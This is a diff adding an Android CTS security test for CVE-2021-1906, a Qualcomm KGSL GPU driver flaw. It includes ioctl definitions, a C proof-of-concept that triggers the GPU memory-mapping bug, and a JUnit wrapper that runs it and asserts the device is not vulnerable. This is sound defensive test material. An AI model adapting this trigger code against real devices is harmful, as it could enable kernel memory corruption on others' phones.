CTS test for Android Security b/183944574
Test: successful run of newly introduced CTS test case.
Bug: b/183944574
Change-Id: I5e0fea592ceef752e417c99c48a991cbf20c871e
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
new file mode 100644
index 0000000..86e17dc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
@@ -0,0 +1,7 @@
+cc_test {
+ name: "CVE-2021-1906",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h
new file mode 100644
index 0000000..9163217
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h
@@ -0,0 +1,90 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
+#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U
+#define KGSL_IOC_TYPE 0x09
+#define KGSL_MEMTYPE_COMMAND 16
+
+enum kgsl_user_mem_type {
+ KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
+ KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
+ KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
+ KGSL_USER_MEM_TYPE_ION = 0x00000003,
+ KGSL_USER_MEM_TYPE_DMABUF = 0x00000003,
+ KGSL_USER_MEM_TYPE_MAX = 0x00000007,
+};
+
+struct kgsl_drawctxt_create {
+ unsigned int flags;
+ unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+ _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+struct kgsl_map_user_mem {
+ int fd;
+ unsigned long gpuaddr;
+ size_t len;
+ size_t offset;
+ unsigned long hostptr;
+ enum kgsl_user_mem_type memtype;
+ unsigned int flags;
+};
+
+#define IOCTL_KGSL_MAP_USER_MEM \
+ _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
+
+struct kgsl_sharedmem_free {
+ unsigned long gpuaddr;
+};
+
+#define IOCTL_KGSL_SHAREDMEM_FREE \
+ _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
+
+struct kgsl_gpumem_alloc {
+ unsigned long gpuaddr;
+ size_t size;
+ unsigned int flags;
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC \
+ _IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc)
+
+struct kgsl_gpumem_alloc_id {
+ unsigned int id;
+ unsigned int flags;
+ size_t size;
+ size_t mmapsize;
+ unsigned long gpuaddr;
+ unsigned long __pad[2];
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC_ID \
+ _IOWR(KGSL_IOC_TYPE, 0x34, struct kgsl_gpumem_alloc_id)
+
+struct kgsl_gpumem_get_info {
+ unsigned long gpuaddr;
+ unsigned int id;
+ unsigned int flags;
+ size_t size;
+ size_t mmapsize;
+ unsigned long useraddr;
+ unsigned long __pad[4];
+};
+
+#define IOCTL_KGSL_GPUMEM_GET_INFO \
+ _IOWR(KGSL_IOC_TYPE, 0x36, struct kgsl_gpumem_get_info)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c
new file mode 100644
index 0000000..f8eaee4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c
@@ -0,0 +1,173 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2021-1906
+ */
+
+#include <fcntl.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+#include "msm_kgsl.h"
+
+static void *code_page_cpu_addr = MAP_FAILED;
+static unsigned long code_page_gpu_addr = 0;
+
+#define int64 int64_t
+#define EXPLOIT_VULN_ADDR 0xdff00000
+
+unsigned int ctx_id = 0;
+
+int gpu_mem_alloc_id(int fd, int size, int flags,
+ struct kgsl_gpumem_alloc_id *alloc) {
+ int ret = -1;
+ alloc->flags = flags;
+ alloc->size = size;
+
+ ret = ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC_ID, alloc);
+ return ret;
+}
+
+int gpu_sharedmem_free(int fd, unsigned long gpu_addr) {
+ struct kgsl_sharedmem_free addr;
+ int ret = -1;
+ addr.gpuaddr = gpu_addr;
+ ret = ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &addr);
+ return ret;
+}
+
+unsigned long gpu_mem_alloc(int fd, int size, unsigned int flags) {
+ struct kgsl_gpumem_alloc alloc = {0};
+ alloc.size = size;
+ alloc.flags = flags;
+
+ if (ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC, &alloc) < 0) {
+ return -1;
+ }
+ return alloc.gpuaddr;
+}
+
+int gpu_mem_get_info_from_id(int fd, int id,
+ struct kgsl_gpumem_get_info *info) {
+ int ret = -1;
+ info->id = id;
+ info->gpuaddr = 0;
+ ret = ioctl(fd, IOCTL_KGSL_GPUMEM_GET_INFO, info);
+ return ret;
+}
+
+int kgsl_init() {
+ int kgsl = open("/dev/kgsl-3d0", O_RDWR | O_LARGEFILE);
+ if (kgsl < 0) {
+ return -1;
+ }
+
+ struct kgsl_drawctxt_create ctxc;
+ ctxc.flags = 0x1010D2;
+ ctxc.drawctxt_id = 0;
+ if (ioctl(kgsl, IOCTL_KGSL_DRAWCTXT_CREATE, &ctxc) < 0) {
+ return -1;
+ }
+ ctx_id = ctxc.drawctxt_id;
+ return kgsl;
+}
+
+int gpu_map_user_mem(int fd, uintptr_t addr, size_t size, size_t offset,
+ unsigned int flags, unsigned long *gpu_addr) {
+ struct kgsl_map_user_mem user_mem = {0};
+ int result = 0;
+
+ user_mem.fd = -1;
+ user_mem.gpuaddr = 0;
+ user_mem.len = size;
+ user_mem.offset = offset;
+ user_mem.hostptr = addr;
+ user_mem.flags = flags;
+ user_mem.memtype = KGSL_USER_MEM_TYPE_ADDR;
+
+ result = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &user_mem);
+ if (gpu_addr) {
+ *gpu_addr = user_mem.gpuaddr;
+ }
+ return result;
+}
+
+int create_code_page(int fd, int size, void **cpu_addr,
+ unsigned long *gpu_addr) {
+ struct kgsl_gpumem_alloc_id alloc = {0};
+ struct kgsl_gpumem_get_info info = {0};
+ void *cpu_mapping = MAP_FAILED;
+
+ if (gpu_mem_alloc_id(fd, size,
+ KGSL_MEMFLAGS_USE_CPU_MAP | KGSL_MEMFLAGS_GPUREADONLY |
+ KGSL_MEMTYPE_COMMAND,
+ &alloc) < 0) {
+ return -1;
+ }
+
+ cpu_mapping =
+ mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, alloc.id << 12);
+ if (cpu_mapping == MAP_FAILED) {
+ return -1;
+ }
+
+ if (gpu_mem_get_info_from_id(fd, alloc.id, &info) < 0) {
+ return -1;
+ }
+
+ *cpu_addr = cpu_mapping;
+ *gpu_addr = info.gpuaddr;
+ return 0;
+}
+
+void trigger(int fd, uintptr_t start, uintptr_t end) {
+ void *hostptr = mmap((void *)start, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+ mprotect((void *)((uintptr_t)hostptr + PAGE_SIZE), PAGE_SIZE, PROT_NONE);
+
+ gpu_map_user_mem(fd, (uintptr_t)hostptr, end - start, 0,
+ KGSL_MEMFLAGS_USE_CPU_MAP, NULL);
+ munmap(hostptr, 2 * PAGE_SIZE);
+}
+
+int main(void) {
+ int kgsl_fd = kgsl_init();
+ unsigned long gpu_addr = 0;
+ unsigned long next_gpu_addr = 0;
+
+ FAIL_CHECK(!(kgsl_fd < 0));
+
+ if (create_code_page(kgsl_fd, 4 * PAGE_SIZE, &code_page_cpu_addr,
+ &code_page_gpu_addr) < 0) {
+ close(kgsl_fd);
+ return EXIT_FAILURE;
+ }
+
+ next_gpu_addr = gpu_mem_alloc(kgsl_fd, PAGE_SIZE, 0);
+ gpu_sharedmem_free(kgsl_fd, next_gpu_addr);
+ trigger(kgsl_fd, next_gpu_addr, EXPLOIT_VULN_ADDR);
+ gpu_addr = gpu_mem_alloc(kgsl_fd, 0x600000, 0);
+
+ close(kgsl_fd);
+ return (gpu_addr == EXPLOIT_VULN_ADDR) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
new file mode 100644
index 0000000..bfa056b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_1906 extends SecurityTestCase {
+
+ /**
+ * CVE-2021-1906
+ */
+ @AsbSecurityTest(cveBugId = 178810049)
+ @Test
+ public void testPocCVE_2021_1906() throws Exception {
+ assumeTrue(containsDriver(getDevice(), "/dev/kgsl-3d0"));
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-1906", getDevice(), 60);
+ }
+}